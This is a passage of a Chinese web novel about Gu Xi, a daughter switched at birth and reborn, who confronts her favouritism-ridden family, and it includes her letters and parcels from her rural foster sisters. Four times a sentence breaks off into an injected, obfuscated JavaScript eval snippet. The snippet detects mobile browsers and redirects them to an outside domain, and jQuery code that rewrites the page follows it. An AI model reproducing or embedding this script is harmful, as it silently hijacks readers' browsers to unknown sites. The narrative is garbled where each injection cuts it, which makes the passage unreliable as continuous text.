想到先前他连人带椅摔倒,江惠君实在担心他的腰,忧心道:“要不今天还是请假吧,你这腰……” 顾茂文咬紧牙关,想也不想地说:“不行,不能请假!” 缓了会儿,没有那么疼后,他终于起身出门,只是动作比平时更小心一些,步子也没迈那么大,能看出他正在忍着强烈的不适,看得人十分揪心。 江惠君等人虽然担心,但也知道他的脾气,这事劝不得,只能等下班后,再陪他去医院看看了。 送走顾茂文,江惠君转头看向身边的二儿子,看到他嘴角的伤,又有些心疼,忙道:“你快坐下,我给你上药。”然后又埋怨起来,“溪溪下手也太重了,你是她哥,她怎么能真的打你,真是……” 顾远辉闻言,瞅着他二哥脸上的伤,心里不平衡,忍不住说道:“妈,二哥只是嘴角伤着,看起来一点也不重,我身上的伤才叫重吧?” 说到这里,又有些委屈。 和他身上的伤比,二哥只是嘴角破损,下巴青了一块,根本不算什么。 江惠君转头看他,见到小儿子那张猪头脸,确实挺可怜的,她有些难受地说:“溪溪太过分了,也不知道她怎么变成这样,明明以前那么乖……” 突然间,她也怀念起以前安静乖巧、不吵不闹的顾溪。 这孩子怎么突然间就变成这样了呢?到底发生什么事?她觉得这样不行,等下班回来,还是得找她谈谈,弄清楚她到底是怎么想的,一家人有什么不能好好说的,非要动手不可? 顾远湘去取外敷的伤药过来。 江惠君给顾远征上药,一边问道:“你们知道溪溪为什么突然变成这样?是不是你们欺负她?” 她的目光在三个儿女身上徘徊,觉得是不是被欺负狠了,顾溪才会突然爆发? 顾远征沉默地坐在那里,垂着眼睛,没有说话,从先前被顾溪打了后,他就一直很沉默,不知道在想什么。 顾远辉倒是想说,但他不敢,撇了撇嘴。 顾远湘有些不安地看向两个兄弟,明智地没有开口,心知顾溪变成这样,可能和那天二哥送她的生日礼物有关。 其实这几天,顾远湘也在想顾溪突然动手打人的原因,再加上昨晚的事,让她确定顾溪可能是被自己收到的生日礼物刺激到,所以不想忍了。 两人同一天生日,她收到家里人送的礼物,顾溪却没有,她会生气、怨恨也是正常。 顾远湘自然是有私心的,自从得知自己不是顾家的女儿后,她就一直不安。 这种不安让她希望家里人更疼自己,证明血缘不算什么,她和顾家人有十五年朝夕相处的感情在,她才是顾家真正的女儿。 就算顾溪回来,也不能影响、动摇她在顾家的地位。 所以知道二哥和小弟给她准备生日礼物,顾溪却没有时,她心里是极为高兴的,就像以往的每一次,当被家人明晃晃地偏心时,她会不经意地向顾溪炫耀他们对自己的宠爱,让顾溪明白,就算她是顾家的亲生女儿,她永远也比不上自己。 明明以前都是这样,顾溪每次都会沉默地看着,然后默默地走开。 就像面团捏的,没有一点脾气。 久而久之,顾远湘也习惯顾溪的安分,觉得她毫无威胁,解决起来非常轻松,就当家里多了个保姆。 哪知道面团人居然会爆发,那不管不顾的疯劲,实在太可怕。 顾远湘都有些后悔以往的那些举动,要是知道会将顾溪逼疯,她一定不会再干,有好东西也会捂着。 她有种莫名的预感,总觉得以后家里一定不会安生,再也无法恢复以往的宁静。 - 江惠君不知道养女心中所想,见三人都不作声,想到顾溪先前说的话,心里闷闷的难受,心情变得烦躁起来。 然而这还不是最烦的。 等她出门去上班,遇到家属大院里和她不对付的吴英兰婆媳俩时,更烦了。 吴英兰看到她,便热情地上前打招呼,不怀好意地问:“惠君啊,你家昨天发生啥事?听你们家隔壁的黄婶子说,你们家昨天乒乒乓乓的,好像有人在摔东西,那动静大得很,你们这是干啥啊?” 江惠君的脸皮一抽,神色有些不好,勉强道:“哪有什么事?是孩子们放假在家玩闹呢,难免会磕磕碰碰的,确实挺闹人的。” 她故作轻松,不愿意让人看他们家的笑话。 “真的?我看不是吧?”吴英兰瞅着她,一脸不相信,“就算孩子再闹腾,那也闹不出这么大的动静吧?哎呀,要是有啥事你可以和咱们说说,都是一个大院里住着的,互相帮忙是应该的。” 什么互相帮忙,是想看笑话吧? 江惠君心里不耐烦,加快了速度,并不想搭理吴英兰,心里也有些恼隔壁的黄老太,这黄老太是家属大院里有名的嘴碎子,东家长西家短都少不了她,这大院里没哪家不被她嘴过。 江惠君自诩文明人,最不喜这些没文化、没素质、没教养的人,时常有搬家的冲动。 昨晚气得狠了,倒是忘记两家相邻,房子的隔音不太好,以隔壁黄老太的性子,有点风吹草动都要探究窥视,还不知道她和多少人搬弄他们家的是非。 想到这里就烦得紧,又埋怨起顾溪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185421|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不懂事,给外人看自家的笑话。 见江惠君不理自己,吴英兰越发肯定顾家一定有什么事。 她还不知道江惠君这人嘛,特别爱装,总觉得自己是文明人,高人一等,瞧不起那些不如她的。 当初她就被江惠君当众嫌弃过,说她没文化,不想与自己往来。 吴英兰确实没读过书,但她是上过扫盲班的,这些年也没有放弃学习,被江惠君这么嫌弃哪里能不生气? 两人的梁子就这么结下了。 这些年,她和江惠君发生的口角冲突不少,大多都没赢过江惠君。 直到五年前,顾家出现抱错孩子的事,没少让她嘲笑,她还特地跑到江惠君面前好好地笑了她一通,想起当时江惠君那张勉强的脸,心里就舒爽。 吴英兰转头对她儿媳妇说:“我敢肯定,顾家一定有事!说不定这次能看顾家那两口子的笑话,让江惠君那爱装相的女人丢脸。” 她儿媳妇虽然有些好奇,不过这会儿在外头也不好说什么,只是笑了笑。 ** 吃过早饭,顾溪又回房睡了个回笼觉。 醒来时,太阳已经高高升起,天气越发的闷热。 她慢吞吞地爬起身,打理好自己,拉开抽屉,将里头的一些钱和票都拿出来,塞到挎包里,然后出了门。 家里静悄悄的,像是没有其他人。 不过顾溪经过顾远辉的房间时,知道他在屋子里。 顾远辉那副鼻青脸肿的样子,肯定是不敢出门见人,只能躲在家里,等脸恢复后才敢出门。 离开家属院,顾溪去附近的供销社,买了些糖果和生活用品,然后去附近的邮局。 她买了信封和邮票,将昨晚写好的信放进去,并将顾远辉赔给她的二十块钱和一些全国票券一起放进去。 接着她将信和刚买的东西一起寄出去。 因为她经常来寄信,邮局的工作人员已经认得她,笑道:“顾同志又给徐家屯公社那边的亲戚寄东西啦?对了,有你的包裹,是徐家屯公社寄过来的。” 说着他拎出一个大包裹,沉甸甸的,一看就知道里头塞了不少东西。 顾溪每个月都会来邮局寄东西,寄的地方是冯敏的老家那边,也是养父母家。 养父母姓徐,住在徐家屯公社,徐姓在那里是大姓。 她倒不是给养父母寄东西,而是给两个妹妹寄的。 养父母共生养了四个孩子,前头三个都是女娃,生到第四个终于生出个带把的。 当年养母挺着个大肚子进城探亲,却不想提前发动,被好心人送去医院,那时候江惠君也在同一个医院,两人先后生下孩子,未想因为医院的疏忽,导致两家抱错了孩子。 顾溪代替顾远湘成为徐家的长女,下面两个妹妹是她照顾大的,姐妹三人的感情极深,虽然离开徐家,但那两个妹妹她还是认的。 这些年,她将自己的零花钱攒起来,辗转寄给徐家屯公社那边的妹妹们,希望她们能去读书,活得更有尊严,别因为是女娃便被贬低到尘埃里,变得愚昧无知。 12.第 12 章 当年回到顾家后,顾溪并未和徐家的两个妹妹断了联系。 这些年,她时不时寄钱寄东西到徐家屯公社那边,托徐家所在的生产队的大队长送去给两个妹妹,要单独给她们。 大队长的爱人和冯敏是远房表姐妹,为人可靠,看在冯敏的面子上,愿意帮她这个忙。 两个妹妹也会时不时给她寄些东西,姐妹三人保持着联系。 邮政局的工作人员将包裹递给顾溪时,问道:“这东西很重,你扛得回去吗?” 顾溪谢过对方,将包裹抱了起来,朝他说:“我可以的。” 邮政局工作人员看她轻松抱着那包裹,不禁竖起大姆指。 看她这副松驰的样子,仿佛那包裹没什么重量,和她纤细美丽的外表截然不符,有种强烈的反差感。 就是不知情的人看到这一幕,会忍不住担心她摔着了。 顾溪抱着大包裹,因为包裹太大,有些遮挡视线,刚走出邮政局,差点就撞到人。 对方赶紧伸手帮她托住包裹,说道:“小心,别摔了。” “谢谢,我没事。”顾溪礼貌性地说,探头看向帮她扶包裹的人,不由怔了怔。 “咦,是你啊。” 来人是个二十出头的男青年,面容俊朗,穿着白衬衫和军绿色长裤,给人一种沉稳可靠的印象。 顾溪自然认识他,这人是陈芸笙的兄长陈瑞安。 陈瑞安见她抱着的包裹实在太大,伸手托着时,能感觉到它的重量,不由问道:“顾溪,怎么不叫远征帮你带回去?要不要我帮你送回家?” 他和顾远征是同龄人,都是家属大院里的孩子,也算是从小一起长大的。 妹妹陈芸笙和顾远湘交好,他们兄妹俩时不时会去顾家玩,和顾溪也算是熟悉,在路上遇到时会打个招呼的那种。 顾溪道:“谢谢陈哥,不用了,我搬得动。” “真的?”陈瑞安怀疑地看她,总觉得让个瘦弱的女同志抱着这么大的包裹回去,自己一个大男人居然不帮忙,总有些过意不去。 正犹豫着,突然听到妹妹的声音。 “哥,你咋在这?” 陈瑞安转头,看到不远处的两个姑娘,是妹妹陈芸笙和顾远湘。 他笑着打了声招呼,“是你们啊,你们这是去哪玩?” 陈芸笙拉着顾远湘过来,说道:“过几天不是妈的生日吗?我今天叫远湘陪我去百货大楼给妈挑生日礼物呢。”然后又问,“哥,你咋在这里?还和顾溪一起……” 看到两人靠得很近,她疑惑地眨了下眼睛。 顾远湘盯着陈瑞安放在包裹上的手,心头发紧,忙说道:“溪溪,这包裹是什么?要不要我帮你?” 说话间,她走过去,伸手要帮忙。 见她过来,陈瑞安忙放开手,并往旁退了退,以免不小心碰到人家女同志。 他一边回答道:“我来邮局办点事,正好看到顾溪扛着包裹,想帮她搬回去。” 陈芸笙闻言,哦了一声。 她看着那包裹,确实挺大的,当即道:“那行,你帮顾溪送回去吧,这东西看着就重,你们男同志有力气,帮个忙也是应该的。” 陈瑞安笑着点头,朝顾溪说:“顾溪,给我吧,我帮你搬回去。” “不用。”顾溪没理凑过来的顾远湘,说道,“陈哥你不是有事吗?我自己搬就行。” 陈瑞安道:“不急,我先帮你搬回去再过来也行。” 陈芸笙附和:“是啊是啊,顾溪,将它给我哥吧,我哥有力气。”说着又看了看顾溪的脸色,总觉得她的脸很苍白,看起来精神不太好,“你脸色不太好,是不是哪里不舒服?还是小心点,这天气热,很容易中暑。” 虽然她和顾远湘玩得好,但也不是那种是非不分的人。 对于顾溪,她心里其实挺同情的,好好的城里姑娘,居然被抱错了,在乡下长大,回到顾家后,似乎也没有过得很好。 只是家家有本难念的经,她妈说顾家人有些拎不清,让她少去掺和人家家里的事,像平时那样处着就行。 而且顾溪长得实在好看,瘦弱纤细,让人本能地想要多照顾她一些。 特别是她此时脸色苍白,那种难以形容的病态之感,莫名地吸引人。 陈芸笙忍不住看了一眼又一眼,心里暗暗赞叹。 顾溪长得可真好看啊,这么好看的女孩子,顾家人好像不太喜欢她,如果她是自己的姐妹,有这么漂亮的姐妹,她都要高兴疯了。 可惜顾溪的性子太内向沉默,不怎么喜欢和人说话、玩乐,她也不好意思往人家面前凑,没能和她成为朋友。 顾溪轻轻地嗯一声,不过仍是没将包裹给人,说道:“谢谢,我自己搬得动,不重的。” 话落,她没有多作停留,避开杵在那里的顾远湘,直接走了。 陈芸笙看得又是一阵叹息,但人家都拒绝得明明白白,也不好意思再凑过去。 她埋怨地道:“哥,你真是……你怎么能眼睁睁地看着人家女同志扛着这么重的东西却不帮忙?咱们要为人民服务!” 陈瑞安摸摸鼻子,摊手道:“那我追过去?” “算了算了。”陈芸笙马上反悔,“看顾溪的样子,也不需要你帮忙,就别去打扰人家。” 她心里又是一阵可惜,可能长得漂亮的女孩子都是比较独立自主,不需要人帮忙的吧。 顾远湘听着兄妹俩的话,眸色微黯,忍不住说:“你们不用担心,其实顾溪的力气挺大的,她以前在乡下干惯了农活,听说平时要挑水、砍柴什么的,力气大得很,搬个包裹难不倒她。” 闻言,陈家兄妹俩转头看她。 陈芸笙惊讶,“真的啊?顾溪以前还干了这么多?她挺能干的。” 一定受了很多苦。 虽然她没干过农活,不过她听父母说过乡下的农活有什么,有多辛苦,就算是身强体壮的大男人有时候都累得够呛,特别是双抢时,简直就是拿命去拼,一通忙碌下来,人都累得虚脱。 实在无法想像顾溪这么瘦弱的女孩子,从小干到大,有多辛苦。 回想当初顾溪回到顾家时,那副又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191365|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑又瘦的模样,看着没几两肉,明明和顾远湘同龄,却比顾远湘要矮大半个头,可见她在乡下的日子不好过。 陈瑞安神色微动,看了顾远湘一眼,没有说什么。 他朝妹妹道:“我先走了,天气热,你们没事也赶紧回家,别中暑了。等我忙完,我会回家吃饭,记得给我留饭。” 陈芸笙应一声,和兄长道别,拉着顾远湘回家。 顾远湘望着他走进邮政局的身影,心里有些失落,又有些懊恼,觉得自己刚才是不是不应该说那话的? 他会不会以为她是故意那么说的? 可是顾溪的力气就是大啊,这两天看她打人,打得顾远辉嗷嗷叫,都没法反抗。 - 午时,陈瑞安回到家,和妹妹一起吃午饭。 陈芸笙突然问:“哥,你觉得顾溪怎么样?” 陈瑞安愣了下,“什么怎么样?” “就是她这性格,在顾家好像挺不好的。”陈芸笙咬着筷子,“昨天我去顾家找远湘,正好碰到她回来,她看起来很冷漠的样子……每次我去顾家,顾家其他人都是笑得开开心心的,只有她总是一个人坐在角落里,或者直接躲在房间里,我想找她说句话都没机会。” 陈瑞安终于明白她的意思,不禁啼笑皆非,说道:“你要是真喜欢她,就勇敢地和她做朋友,不用畏手畏脚的。” 他哪里不知道自己妹妹是个看脸的,只要长得好看的人,不管男女,都会多看几眼,想和人家交朋友。 顾溪确实长得很好看,是那种直击心灵,会令人惊艳到失语的漂亮姑娘。 当初她回到顾家时,确实不怎么好看,家属大院里的人都拿她当谈资笑话,那些十几岁的男生私底下提到顾家抱错孩子的事,也会附和说笑几句,觉得她丑得不像顾家人,多少有些嫌弃和不以为然。 哪知道几年过去,人长开了,变成大姑娘,越长越漂亮,漂亮得让人几乎晃了眼。 陈瑞安好几次听到那些当初嫌弃顾溪丑的男生私底下讨论她,一副春心萌动的模样,故意等在顾溪放学回来的路上。 可惜她早已经有了婚约,而且婚约对象还是军区大院的。 要不是顾溪的婚约对象的身份摆在那里,说不定那些男生还真会主动跑过去拦她说话。 “这不太好吧?”陈芸笙说,“要是我和顾溪交朋友,远湘可能会难受……” 两人从小就玩在一起,多少有些姐妹情,以前顾远湘就好几次失落地说,希望自己不要介意她不是顾家女儿,依然当她是好姐妹。 陈芸笙当时一腔义气,拍着胸脯保证。 陈瑞安无奈摇头,“这有什么?如果顾远湘真当你是朋友,她不会在意这些的。” “真的?” 陈瑞安淡定地点头,知道妹妹的性子太过天真单纯,当初顾家抱错的事暴露时,在家属大院的孩子都疏远顾远湘,只有她还傻乎乎地拍着胸口表示顾远湘永远是她的朋友,对顾远湘的态度没有丝毫改变。 陈芸笙很快就高兴起来:“那好,我改天去找顾溪玩。” 13.第 13 章 顾溪抱着包裹回到家。 正是一年中最热的三伏天,一路走来,热得汗流浃背,衣服后背都湿了,同时也被晒得头晕眼花,心口跳得厉害,耳朵轰鸣。 她将东西放下,扶着墙缓了会儿,直到眼前清晰,心脏没有跳得那么厉害,转去厨房倒水喝。 正喝着水,抬眼便见从楼梯口那边过来的顾远辉。 看到她,顾远辉就像老鼠见到猫,咻的一下就窜回去,消失在楼梯口处。 顾溪没理他,灌完水后,去卫生间洗了把脸,换了一身清爽干净的衣服,扛着包裹回房。 她将包裹打开,先将里头的一封信取出来。 有好几张信纸,写得密密麻麻的,字并不怎么好看,歪歪歪扭扭的。 乡下没有练字的条件,能将字写得清楚已经算不错,顾溪看到上面的字,唇角不觉露出一个笑容。 她慢慢地看信,这封信是两个妹妹一起写的,字迹不一样。 时隔几十年,重新再看到她们的信,心里蓦地升起一股难言的滋味,酸酸涩涩的,也不知道上辈子她死后,她们过得怎么样? 是不是后来终于走出那个村子,摆脱了命运? 看完信,她继续翻包裹里的东西。 这是她最近几年收到的最大的包裹,里头其实没什么值钱的东西,都是一些乡下特有的山珍土货,还有自己晒的果干、红薯干、笋干、黄瓜干和野菜干等,这些东西保存好的,到了冬天正是缺少蔬菜的时候,便能派上用场,丰富三餐。 除此之外,还有二妹做的两套衣物、布鞋等。 一套是给她做的,一套是给冯敏做的,感谢冯敏当年拜托大队长的爱人对她们姐妹俩的照顾。 这次她们寄的东西比较多,也是想让她送些过去给冯敏那边。 顾溪将东西一一收好,决定明天都送去沈家。 以往妹妹们也会给她寄些乡下的土特产,大半都留在沈家,给沈家添道菜。 每当这时候,顾明辉会一边吃一边嫌弃这是乡下的东西,嘴巴不饶人,说这菜里有一股子泥巴味,说家里又不是没有钱买菜,不稀罕那边寄东西过来,省得以后他们家要被打秋风的穷亲戚沾上之类的。 其他人也会告戒她最好和徐家那边断掉,他们家绝对不会和那些卖女儿的乡下人扯上关系。 当年为了将顾远湘留在顾家,顾茂文夫妻和徐家商量过后,给了徐家一笔钱,徐家保证以后都不会来打扰。 顾远辉觉得徐家就是卖女儿,对徐家夫妻那副贪婪的嘴脸十分厌恶,连带着觉得被那对夫妻养大的顾溪肯定不是好的。 如今回想起这些事,顾溪已经能心平气和。 既然嫌弃,那就别吃呗,她也不会再傻乎乎的,以为他们是一家人,不要计较太多。 这做人啊,还是要去计较的。 回想这两天顾家的热闹,她决定以后还是继续计较吧,就算她想将顾家当陌生人,但在世人眼里,她就是顾家的女儿,血缘是没办法断掉的。 既然如此,那就用自己的方法先处着,只要他们能受得住就行。 ** 夕阳西下,下班的人陆陆续续回家。 先回到家的是顾远征。 经过一天的酝酿,只见他唇角的破损和下巴的青紫越发的明显,这一看就知道是被人打了。 这一天,但凡见到顾远征的人都要问一嘴他脸上的伤。 顾家人都要脸,顾远征也不好意思和人说是被家里的妹妹打的,只能含糊说不小心撞到了,至于那些人相不相信,他也没办法。 等顾远湘做好饭,仍是没见顾茂文夫妻回来。 以往这时候,大家应该都已经回到家,并且准备吃饭。 顾远湘朝帮忙摆碗筷的顾远征说:“二哥,爸妈怎么还没回来?” “可能去医院了。”顾远征猜测。 顾远湘有些担心,“爸的腰没事吧?”然后又愧疚道,“要不是为了帮我搬衣柜,爸也不会闪到腰。” 顾远征没说话。 他明白顾远湘的意思,拐弯抹角地抱怨,要不是顾溪发疯砸了他们的房间,他们爸也不会帮忙搬衣柜时闪到腰,罪魁祸首是顾溪。 如果是以往,他会生气顾溪做的事,虽然顾家没有打孩子的传统,他也没有打妹妹的习惯,但多少还会训斥一番,让她低头认错,再也不敢犯为止。 对于这个半途回来的妹妹,他更习惯忽略她,只要她不犯错就行。 然而经过顾溪这几天的折腾,早上又听顾溪说了那些她在乡下的事,让他突然间有些茫然。 他们是不是做错了? 虽然顾远湘是相处了十五年的妹妹,但顾溪也是……妹妹。 可惜就算发现错了,也没有用了。 顾溪太过决然,她动手打人时没有任何的犹豫,仿佛他们已经不是她的家人,她彻底地放下了。 这世间不是所有事都能弥补,就像破镜不能重圆,就算黏回去也会有裂痕。 就在顾远征心情复杂时,便见顾溪从楼上下来。 她走到餐桌前,自己拿碗盛饭,然后坐下来吃饭。 “溪溪。”顾远湘说道,“爸妈还没有回来呢。” 顾家的规矩比较多,一般没什么事,都是要等父母回来后再一起吃饭,除非时间真的很晚。 现在时间不算晚,他们还可以再等一会儿的。 顾溪一边吃一边说:“我饿了,你们想等就等,别叫我。” “这……这不太好吧?”顾远湘不敢惹她,吞吞吐吐地说,“妈应该是送爸去医院看腰伤,也不知道爸的身体怎么样,咱们还是等等他们比较好……” 顾溪皱起眉头,抬头看她,平静地说:“我有胃病,不按时吃饭会胃疼。” “啊?” 不仅顾远征两人怔住,就连猫在楼梯口那边不敢过来的顾远辉也是一脸吃惊。 胃病? 顾远征问:“你怎么会有胃病?严不严重?” “还行,死不了。”顾溪无所谓地说,只要死不了的都不是事。“只要按时吃饭就没什么事。以前在乡下粮食不多,又是女娃,不能吃饱,总是饿肚子,饿得多了,自然就落下胃病。” 她说得轻描淡写,但顾远征没办法真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江惠君脸上挤出一个笑容,端着一碗麦乳精,语气和煦:“溪溪,我给你冲了碗麦乳精。咱娘们很久没说说话了,我想和你说会儿话。” 顾溪道:“没什么好说的,我要睡觉了。” 眼看她要关门,江惠君伸手放在门板上,“溪溪!” 顾溪拉着她的手移开,坚定要关门。 江惠君急了,做出一件自己以往都不会做的事,硬是挤进去,一边说道:“我听远征说,你有胃病,严不严重?你以前怎么不和我们说呢?” 语气里不禁有些埋怨,她不说,他们怎么知道? 这孩子一直都是如此,太过安静沉默,不懂得讨好人,真的不怪他们会忽视她。 顾溪点头,“确实,以前是我傻,没想过和你们说,所以我现在说了。” 江惠君张了张嘴,又不知道说什么。 如果是顾远湘,此时会贴心地表示,不想让他们担心,然后会和他们撒娇,让人高兴又觉得省心。 两个女儿的对比实在太强烈。 会撒娇讨巧的那个,永远都是被偏爱的,沉默忍耐的那个,则会被忽视。 14.第 14 章 江惠君的神色变得有些勉强。 她不自在地移开目光,将手里的杯子递过去,语气柔和:“你的胃不好,喝点麦乳精养养胃,以后多喝点,别省着。” 麦乳精在这时代是好东西,是营养品,可以用来养身体。 顾家这样的家庭并不怎么缺钱,家里也是常备着麦乳精的,平时没事家里的几个孩子也会冲来喝,或者用来招待客人。 但这还是第一次,江惠君亲自冲泡好,端过来给她。 顾溪心里没有丝毫触动,说道:“谢谢,我不想喝。” “不想喝?怎么了?”江惠君不解。 “没胃口。” 顾溪垂着眼,神色恹恹的,在灯光下,脸色看起来似乎有些苍白。 江惠君关切地问:“溪溪,你哪里不舒服?” 顾溪说:“哪里都不舒服。” 她也没说谎,自从重新活过来后,大病一场,精神不济,每天都是昏昏沉沉的,也不知道是不是当阿飘太久的后遗症,亦或是复活的代价。 要不然,人怎么能死后居然又活过来了呢?这种匪夷所思的事情,肯定是有代价的吧。 对此顾溪接受良好,甚至想着,或许老天爷哪天就会将她这条命收走了。 能活着一天就是赚一天,也是挺好的。 江惠君有些急,忙将杯子放到桌子上,拉着顾溪的手:“你哪里不舒服?告诉妈,妈带你去医院看看。” 顾溪抽回自己的手,挨着床坐下来,平静地说:“不用,死不了。” 她的神色平静到近乎冷漠,给人一种无所谓的感觉。 甚至看不出她脸上有什么不舒服的痕迹。 江惠君开始怀疑起来,难道这又是她想要折腾他们的一种方式?或者她的不舒服是借口,只是不想喝她端来的麦乳精?她就这么怨自己吗? 如今江惠君也明白,顾溪已经不是以前那个乖巧听话的女儿,她似乎心里对他们有怨气,怨恨顾远湘取代她成为顾家的女儿,享了十五年的福,也怨恨他们这几年的偏心,对她不关心。 所以她打顾远辉,砸他们的房间,惹老顾生气,因为顾远征说话不好听动手打他…… “溪溪!”江惠君无奈地说,“你别这样,好好说话不行吗?妈不是来和你吵架的!” 顾溪一看她这副表情,就知道她想歪了,或许她认为自己是故意装的,就是为了折腾他们。 心里顿时一阵索然无味,说道:“行了,没事你就出去吧,我要睡觉了。” 话不投机,她不想再浪费时间。 江惠君没走,她过来就是想找她聊聊,最好能让她知道错,别再折腾他们了,像以前那样不好吗? 她将书桌前的椅子拉过来,坐到顾溪面前,一副要长谈的架势。 江惠君决定从一个比较安全的话题入手:“溪溪,你高中毕业了,接下来有什么打算?是想继续读大学?还是去找工作?或者结婚?” 二十岁的姑娘年纪也不小了,很多都已经结婚,没有结婚的也像顾远湘这种因为要读大学的,不过也可以相看对象。 如果她想结婚,也是正常的。 就是不知道沈家那边什么时候过来商量两个孩子的婚事,如果能将她嫁出去,应该也是好的吧,家里就没这么闹腾了。 顾溪虽然懒得理她,但既然她要问,当即道:“如果我想继续读大学,你们能给我一个工农兵推荐大学的名额吗?” 工农兵推荐上大学的名额不多,甚至很稀罕。 虽然在以后工农兵大学的含金量低,但在这时候,却是很多学子所向往的。 江惠君摇头:“我们没有名额,不过我想沈家那边应该有。” 以沈家的能耐,弄到一个名额应该很容易,冯敏那么喜欢她,肯定会为她想法子的。 有沈家在,根本不需要担心这个。 闻言,顾溪抬眸看她,嗤笑道:“所以你们不想给我弄个推荐名额,是想让我去找沈家要?沈家凭什么?就因为冯姨护着我,所以你们理所当然地让他们当冤大头?那我到底是你们的女儿,还是沈家养的孩子?” “你们这些人可真是——”她一字一句地说,“恶心之极。” “溪溪!”江惠君震惊地看着她,“你怎么能这么说话呢?” 顾溪一脸冷漠:“这不是事实吗?这就受不了了?” 江惠君的脸色变得难看。 她的出身不错,从小到大,很少有人对她说这么难听的话,而且说这话的还是她的女儿,简直是锥心刺骨,心寒之极。 看着顾溪那张不为所动的脸,她心里难受又委屈,眼眶发热:“溪溪,我是你妈!你怎么能……” 顾溪不想再听她说话,站了起来:“行了,我知道你是我妈,我也是你的亲生女儿,这是没办法改变的事!只是你看看你平时做的事,有当妈的样子吗?还是你们就像外面那些人说的那样,喜欢给别人养孩子?或许你更愿意给别人的孩子当妈吧,不是吗?” 说到这里,她笑了下,皮笑肉不笑的那种。 江惠君双眼瞠大,伤心欲绝。 “溪溪!”她声音哽咽,双眼发红,咬着牙说,“你、你不能这么说,我是爱你的,没有当妈的不爱自己的孩子……” 就算她平时更偏心顾远湘,不代表她不爱自己的女儿,这是她怀胎十月生下来的骨肉啊! 只是偶尔会觉得,要是她在自己身边长大就好了。 要是冯敏阴阳怪气地羞辱自己时,她能帮自己这亲妈就好了…… “你说错了,还真有当妈的不爱自己的孩子的。”顾溪佐证道,“我养母就不爱自己的女儿,当初她不知道我不是她的女儿时,她就不爱我,也不爱顾远湘和下面的两个妹妹。” 当阿飘久了,什么人间惨事没见过,这句“天下无不是父母”就是错的,父母也不一定都是爱自己的孩子的。 江惠君再次被噎住,心里蓦地升起一股羞恼和耻辱,觉得自己被羞辱了。 她居然将自己和徐家那对愚昧的乡下夫妻放在一起? 江惠君这辈子厌恶的人有很多,徐家夫妻绝对能排在前头! 她厌恶这对夫妻的愚昧贪婪,也厌恶他们苛待顾溪,更厌恶他们将顾溪养得又土又丑,一副小家子气的模样,上不得台面,害她在亲朋好友中丢尽脸。 她从来不觉得自己和徐家夫妻能放在一块,她是城里人,是文化人,是读过大学的,怎么能和那些乡下的泥腿子混为一谈? 江惠君很生气,“溪溪,你怎么会变成这样?你不仅打人,还骂人,对父母不敬不孝……你就不怕沈家知道你做的事,对你失望吗?” 就算冯敏再喜欢顾溪,知道她做出这些事,也无法接受吧? 这年头,还是很注重未婚女性的名声,像沈家这样的家庭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她怕小儿子冲动地去找人,然后又要被打一顿。 现在的顾溪打人可不手软,连亲妈都能气,打自己的兄弟根本不算什么。 江惠君交待完,就匆匆离开,不愿意多留,怕自己更加难堪。 回到房,看到躺在床上敷药的顾茂文,突然心中一酸,委屈地说:“老顾,我、我……” 顾茂文看她的模样,便知她和顾溪的谈话崩了。 他拧起眉头,生气地拍着床板,不悦地道:“她到底怎么回事?难道非要搅得全家不安宁才行?” 江惠君心酸地说:“她这是怨我们呢,怨我们偏心,平时忽略了她……” “她有什么好怨的?我们是短她的吃,还是缺她的穿?”江茂文不以为意,将人认回顾家后,他自认从未短过她的,她有什么可怨的? 他没将顾溪的闹腾放在眼里,一个年轻未婚的姑娘,无法逃离父母的辖制。 江惠君虽然被顾溪气哭,但面对顾茂文时,又冷静下来。 她突然说:“其实她说得对,咱们家确实快要成笑话了!今天吴英兰那女人故意来找我,问我咱们家昨天乒乒乓乓的是不是有什么事,我都不知道怎么回答她……” 顾茂文神色一滞,也想起早上顾溪说的那句话。 给别人养孩子养得很快乐吧? 他是个很传统的男人,更注重自己的血脉,养孩子当然只愿意养自己亲生的,谁会给别人养孩子养得很快乐啊? 当年会留下顾远湘,是因为她只是个女娃。 将孩子养这么大,投入的心血不少,就算不是他们家的孩子,也不可能让她回亲生父母家,将来就算将她嫁出去,给她找个好家庭,也不失为一条人脉。 15.第 15 章 顾远征几人都惦记着江惠君被气哭的事,早上起床时,精神不太好,一个个都耷拉着脸,眼底泛青。 当看到顾溪若无其事地出现在餐桌前,他们脸上不禁露出愠怒。 不过他们汲取昨天早餐时的教训,并没有直接和顾溪起冲突——怕被她打,暂时忍下了。 吃过早餐,顾远征和江惠君去上班,顾茂文请假在家休养。 当顾溪扛着一个大包裹出门,坐在沙发休息的顾茂文忍不住问了一句:“这是什么东西?” 顾远湘和顾远辉也在,见到顾溪扛着的大包裹,便知道是她昨天从邮政局取回来的。 不用问也知道,肯定是徐家屯公社那边寄过来的。 